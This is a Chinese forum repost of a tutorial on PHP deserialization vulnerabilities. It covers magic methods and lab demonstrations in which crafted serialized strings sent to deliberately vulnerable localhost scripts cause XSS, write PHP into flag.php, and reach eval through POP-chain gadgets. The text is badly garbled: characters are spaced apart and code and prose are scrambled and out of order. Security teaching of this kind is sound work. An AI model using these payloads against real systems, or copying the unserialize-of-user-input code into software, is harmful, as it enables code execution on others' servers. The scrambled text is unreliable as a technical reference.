搜索

[26887] 2019-12-27_PHP反序列化漏洞说明

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2019-12-27_PHP反序列化漏洞说明 P H P 反 序 列 化 漏 洞 说 明 原 创   s h a v c h e n   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 2 - 2 7 收 录 于 话 题   # 漏 洞 复 现   , 2 3 个 序 列 化 P H P 程 序 为 了 保 存 和 转 储 对 象 ， 提 供 了 序 列 化 的 方 法 ， 序 列 化 是 为 了 在 程 序 运 行 的 过 程 中 对 对 象 进 行 转 储 而 产 生 的 。 序 列 化 可 以 将 对 象 转 换 成 字 符 串 序 列 化 可 以 将 对 象 转 换 成 字 符 串 ， 但 仅 保 留 对 象 里 的 成 员 变 量 ， 不 保 留 函 数 方 法 。 P H P 序 列 化 的 函 数 为 s e r i a l i z e ， 反 序 列 化 的 函 数 为 u n s e r i a l i z e . 举 个 栗 子 ： 输 出 结 果 ： ： 表 示 对 象 ： 表 示 该 对 象 名 称 有 四 个 字 符 ： 表 示 该 对 象 的 名 称 ： 表 示 该 对 象 有 3 个 成 员 变 量 接 着 是 括 号 里 面 的 ， 这 个 类 的 三 个 成 员 变 量 由 于 变 量 前 的 修 饰 不 同 ， 在 序 列 化 出 来 后 显 示 的 也 不 同 。 ： 以 < ? p h p c l a s s   T e s t {         p u b l i c   $ a   =   ' T h i s A ' ;         p r o t e c t e d   $ b   =   ' T h i s B ' ;         p r i v a t e   $ c   =   ' T h i s C ' ;         p u b l i c   f u n c t i o n   t e s t ( ) {                 r e t u r n   ' t h i s   i s   a   t e s t ! ' ;         } } $ t e s t   =   n e w   T e s t ( ) ; v a r _ d u m p ( s e r i a l i z e ( $ t e s t ) ) ; ? > s t r i n g ( 8 4 )   " O : 4 : " T e s t " : 3 : { s : 1 : " a " ; s : 5 : " T h i s A " ; s : 4 : " * b " ; s : 5 : " T h i s B " ; s : 7 : " T e s t c " ; s : 5 : " T h i s C " ; } " O : 4 " T e s t " 3 s : 1 : " a " ; s : 5 : " T h i s A " ; ;
分 开 变 量 名 和 变 量 值 ， 变 量 名 为 1 个 字 符 的 a ， 变 量 值 为 " T h i s A " ： 多 了 ， 用 以 区 分   p r o t e c t e d   修 饰 符 ， 另 外 实 际 页 面 中 会 出 现 乱 码 ， 实 际 上   p r o t e c t e d 属 性 的 表 示 方 式 是 在 变 量 名 前 加 个 % 0 0 % 0 0 ：   在 变 量 名 前 加 上 % 0 0 类 名 % 0 0 可 以 看 到 ，   序 列 化 后 的 字 符 串 中 并 没 有 包 含 这 个 t e s t 方 法 的 信 息 ，   因 为 序 列 化 不 保 存 方 法 不 保 存 方 法 。 反 序 列 化 反 序 列 化 就 是 序 列 化 的 逆 过 程 ， 即 对 于 将 对 象 进 行 序 列 化 后 的 字 符 串 ， 还 原 其 成 员 变 量 的 过 程 。 接 上 述 栗 子 ： 输 出 结 果 ： ; s : 4 : " * b " ; s : 5 : " T h i s A " ; * s : 7 : " T e s t c " ; s : 5 : " T h i s C " ; p h p c l a s s   T e s t {                   p u b l i c   $ a   =   ' T h i s A ' ;                   p r o t e c t e d   $ b   =   ' T h i s B ' ;                   p r i v a t e   $ c   =   ' T h i s C ' ;                   p u b l i c   f u n c t i o n   t e s t ( ) {                                     r e t u r n ' t h i s   i s   t e s t ' ;                   } $ t e s t   =   n e w   T e s t ( ) ; $ s T e s t   =   s e r i a l i z e ( $ t e s t ) ; $ u s T e s t   =   u n s e r i a l i z e ( $ s T e s t ) ; v a r _ d u m p ( $ u s T e s t ) ; o b j e c t ( T e s t ) # 2   ( 3 )   {           [ " a " ] = >   s t r i n g ( 5 )   " T h i s A "           [ " b " : p r o t e c t e d ] = >   s t r i n g ( 5 )   " T h i s B "           [ " c " : " T e s t " : p r i v a t e ] = >   s t r i n g ( 5 )   " T h i s C "  
序 列 化 和 反 序 列 化 的 原 理 其 实 很 简 单 ， 序 列 化 给 我 们 传 递 对 象 提 供 了 一 种 简 单 的 方 法 ， s e r i a l i z e ( ) 将 一 个 对 象 转 换 成 一 个 字 符 串 ， u n s e r i a l i z e ( ) 将 字 符 串 还 原 为 一 个 对 象 ， 与 J a v a 的 与 ， 其 原 理 基 本 一 致 。 在 P H P 应 用 中 ， 序 列 化 和 反 序 列 化 一 般 用 做 缓 存 ， 比 如 s e s s i o n 缓 存 ， c o o k i e 等 。 从 以 上 栗 子 来 看 似 乎 没 有 问 题 ， 那 么 反 序 列 化 漏 洞 反 序 列 化 漏 洞 是 如 何 形 成 的 呢 ？ 这 就 要 引 入 P H P 里 面 魔 术 方 法 魔 术 方 法 的 概 念 了 。 魔 术 方 法 反 序 列 化 漏 洞 的 形 成 通 常 和 以 下 魔 术 方 法 有 关 ： 由 前 面 可 以 看 出 ， 当 传 给   u n s e r i a l i z e ( )   的 参 数 可 控 时 ， 我 们 可 以 通 过 传 入 一 个 精 心 构 造 的 序 列 化 字 符 串 ， 从 而 控 制 对 象 内 部 的 变 量 甚 至 是 函 数 。 利 用 _ _ d e s t r u c t w r i t e O b j e c t r e a d O b j e c t _ _ c o n s t r u c t ( )         # 类 似 C 构 造 函 数 , 当 一 个 对 象 创 建 时 被 调 用 , 但 在 u n s e r i a l i z e ( ) 时 是 不 会 自 动 调 用 的 _ _ d e s t r u c t ( )         # 类 似 C 析 构 函 数 , 当 一 个 对 象 销 毁 时 被 调 用 _ _ t o S t r i n g ( )         # 当 一 个 对 象 被 当 作 一 个 字 符 串 使 用 时 被 调 用 _ _ s l e e p ( )               # s e r i a l i z e ( ) 时 会 自 动 调 用       _ _ w a k e u p ( )             # u n s e r i a l i z e ( ) 时 会 自 动 调 用       _ _ c a l l ( )                 # 当 调 用 对 象 中 不 存 在 的 方 法 会 自 动 调 用 该 方 法 。 _ _ g e t ( )                   # 在 调 用 私 有 属 性 的 时 候 会 自 动 执 行 _ _ i s s e t ( )               # 在 不 可 访 问 的 属 性 上 调 用 i s s e t ( ) 或 e m p t y ( ) 触 发 _ _ u n s e t ( )               # 在 不 可 访 问 的 属 性 上 使 用 u n s e t ( ) 时 触 发
构 造 构 造 p a y l o a d 如 下 ： 如 下 ： 利 用 _ _ w a k e u p u n s e r i a l i z e ( ) 后 会 导 致 或 的 直 接 调 用 ， 中 间 无 需 其 他 过 程 . 因 此 最 理 想 的 情 况 就 是 一 些 漏 洞 / 危 害 代 码 在 p h p c l a s s   t e s t {         v a r   $ t e s t   =   " h e l l o " ;         f u n c t i o n   _ _ d e s t r u c t ( ) {                         e c h o   $ t h i s - > t e s t ;         } $ a   =   $ _ G E T [ ' i d ' ] ; $ a _ u   =   u n s e r i a l i z e ( $ a ) ; 1 2 7 . 0 . 0 . 1 / U n s e r i a l i z e / t e s t . p h p ? i d = O : 4 : " t e s t " : 1 : { s : 4 : " t e s t " ; s : 4 0 : " < s c r i p t > a l e r t ( / y o u   a r e   h a c k e d / ) < / s c r i p t > " ; } _ _ w a k e u p ( ) _ _ d e s t r u c t ( ) _ _ w a k e u p ( )
或 中 ， 从 而 当 我 们 控 制 序 列 化 字 符 串 时 可 以 去 直 接 触 发 它 们   . 如 下 实 验 ： 我 们 可 以 通 过 构 造 序 列 化 对 象 ， 其 中 t e s t 的 值 设 置 为 ， 再 调 用 u n s e r i a l i z e ( ) 时 会 通 过 把 t e s t 的 值 的 写 入 到 f l a g . p h p 中 ， 这 样 当 我 们 访 问 同 目 录 下 的 f l a g . p h p 即 可 达 到 实 验 目 的 ！ 序 列 化 字 符 串 如 下 ： _ _ d e s t r u c t ( ) p h p c l a s s   t e s t {         v a r   $ t e s t   =   ' 1 2 3 ' ;         f u n c t i o n   _ _ w a k e u p ( ) {                 $ f p   =   f o p e n ( " f l a g . p h p " , " w " )   ;                 f w r i t e ( $ f p , $ t h i s - > t e s t ) ;                 f c l o s e ( $ f p ) ;         } $ a   =   $ _ G E T [ ' i d ' ] ; p r i n t _ r ( $ a ) ; e c h o   " < / b r > " ; $ a _ u n s e r   =   u n s e r i a l i z e ( $ a ) ; r e q u i r e   " f l a g . p h p " ; < ? p h p   p h p i n f o ( ) ; ? > _ _ w a k e u p ( ) 7 : " t e s t " : 1 : { s : 4 : " t e s t " ; s : 1 9 : " < ? p h p   p h p i n f o ( ) ;   ? > " ; }
利 用   这 么 简 单 ， 反 序 列 化 漏 洞 就 讲 完 了 吗 ， n o   n o   n o ， 平 常 经 常 看 别 的 文 章 经 常 看 到 P O P 链 链 这 个 名 词 ， 那 到 底 是 神 马 ？ P O P   g a d g e t 如 果 一 次 u n s e r i a l i z e ( ) 中 并 不 会 直 接 调 用 的 魔 术 函 数 ， 比 如 前 面 提 到 的 ， 是 不 是 就 没 有 利 用 价 值 呢 ？ 非 也 ， 类 似 于 栈 溢 出 中 的 R O P   g a d g e t ， 有 时 候 反 序 列 化 一 个 对 象 时 ， 由 它 调 用 的 中 又 去 调 用 了 其 他 的 对 象 ， 由 此 可 以 溯 源 而 上 ， 利 用 一 次 次 的 " g a d g e t " 找 到 漏 洞 点 。 实 验 如 下 ： _ _ t o S t r i n g _ _ c o n s t r u c t ( ) _ _ w a k e u p ( )
分 析 以 上 代 码 ， 我 们 可 以 给 i d 传 入 构 造 好 的 序 列 化 字 符 串 ， 进 行 反 序 列 化 时 会 自 动 调 用 中 的 方 法 ， 从 而 在 时 会 调 用 中 的 方 法 ， 从 而 把   把 写 入 到   f l a g . p h p 中 ， 达 到 上 面 一 样 的 效 果 。 p h p c l a s s   t e s t 1 {         f u n c t i o n   _ _ c o n s t r u c t ( $ t e s t ) {                 $ f p   =   f o p e n ( " f l a g . p h p " , " w " )   ;                 f w r i t e ( $ f p , $ t e s t ) ;                 f c l o s e ( $ f p ) ;         } c l a s s   t e s t 2 {         v a r   $ t e s t   =   ' 1 2 3 ' ;         f u n c t i o n   _ _ w a k e u p ( ) {                 $ o b j   =   n e w   t e s t 1 ( $ t h i s - > t e s t ) ;         } $ a   =   $ _ G E T [ ' i d ' ] ; p r i n t _ r ( $ a ) ; e c h o   " < / b r > " ; $ a _ u n s e r   =   u n s e r i a l i z e ( $ a ) ; r e q u i r e   " f l a g . p h p " ; t e s t 2 _ _ w a k e u p n e w t e s t 1 ( $ t h i s - > t e s t ) t e s t 1 _ _ c o n s t r u c t ( ) < ? p h p   p h p i n f o ( ) ; ? >
细 心 的 朋 友 可 能 已 经 发 现 了 ， 以 上 我 们 都 是 利 用 魔 术 方 法 这 种 自 动 调 用 的 方 法 来 利 用 反 序 列 化 漏 洞 的 ， 如 果 缺 陷 代 码 存 在 类 的 普 通 方 法 中 ， 就 不 能 指 望 通 过 " 自 动 调 用 " 来 达 到 目 的 了 。 利 用 普 通 方 法 当 我 们 能 利 用 的 只 有 类 中 的 普 通 方 法 时 ， 这 时 我 们 需 要 寻 找 相 同 的 函 数 名 ， 把 敏 感 函 数 和 类 联 系 在 一 起 。 如 下 实 验 ：
大 意 为 ， 得 到 一 个 新 的 m a i n 对 象 ， 调 用 ， 其 中 又 ， 在 结 束 后 会 调 用 ， 其 中 会 调 用 ， 从 而 输 出 。 p h p c l a s s   m a i n   {         v a r   $ t e s t ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ t h i s - > t e s t   =   n e w   t e s t 1 ( ) ;         }         f u n c t i o n   _ _ d e s t r u c t ( )   {                 $ t h i s - > t e s t - > a c t i o n ( ) ;         } c l a s s   t e s t 1   {         f u n c t i o n   a c t i o n ( )   {                 e c h o   " h e l l o   w o r l d " ;         } c l a s s   t e s t 2   {         v a r   $ t e s t 2 ;         f u n c t i o n   a c t i o n ( )   {                 e v a l ( $ t h i s - > t e s t 2 ) ;         } $ a   =   n e w   m a i n ( ) ; u n s e r i a l i z e ( $ _ G E T [ ' t e s t ' ] ) ; n e w m a i n ( ) _ _ c o n s t r u c t ( ) n e w t e s t 1 ( ) _ _ d e s t r u c t ( ) a c t i o n ( ) h e l l o   w o r l d
而 我 们 需 要 寻 找 相 同 的 函 数 名 ， 即 t e s t 2 类 中 的 a c t i o n 方 法 ， 因 为 其 中 有 我 们 想 要 的 e v a l 方 法 . 下 面 使 用 P H P 获 取 序 列 化 字 符 串 ： 得 到 序 列 化 字 符 串 如 下 ： 构 造 U R L 如 下 ： 相 当 于 执 行 p h p c l a s s   m a i n   {         v a r   $ t e s t ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ t h i s - > t e s t   =   n e w   t e s t 2 ( ) ;         } c l a s s   t e s t 2   {         v a r   $ t e s t 2   =   " p h p i n f o ( ) ; " ; e c h o   s e r i a l i z e ( n e w   m a i n ( ) ) ; O : 4 : " m a i n " : 1 : { s : 4 : " t e s t " ; O : 5 : " t e s t 2 " : 1 : { s : 5 : " t e s t 2 " ; s : 1 0 : " p h p i n f o ( ) ; " ; } } 1 2 7 . 0 . 0 . 1 / U n s e r i a l i z e / t e s t 3 . p h p ? t e s t = O : 4 : " m a i n " : 1 : { s : 4 : " t e s t " ; O : 5 : " t e s t 2 " : 1 : { s : 5 : " t e s t 2 " ; s : 1 0 : " p h p i n f o ( ) ; " ; } } < ? p h p e v a l ( " p h p i n f o ( ) ; " ) ? >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理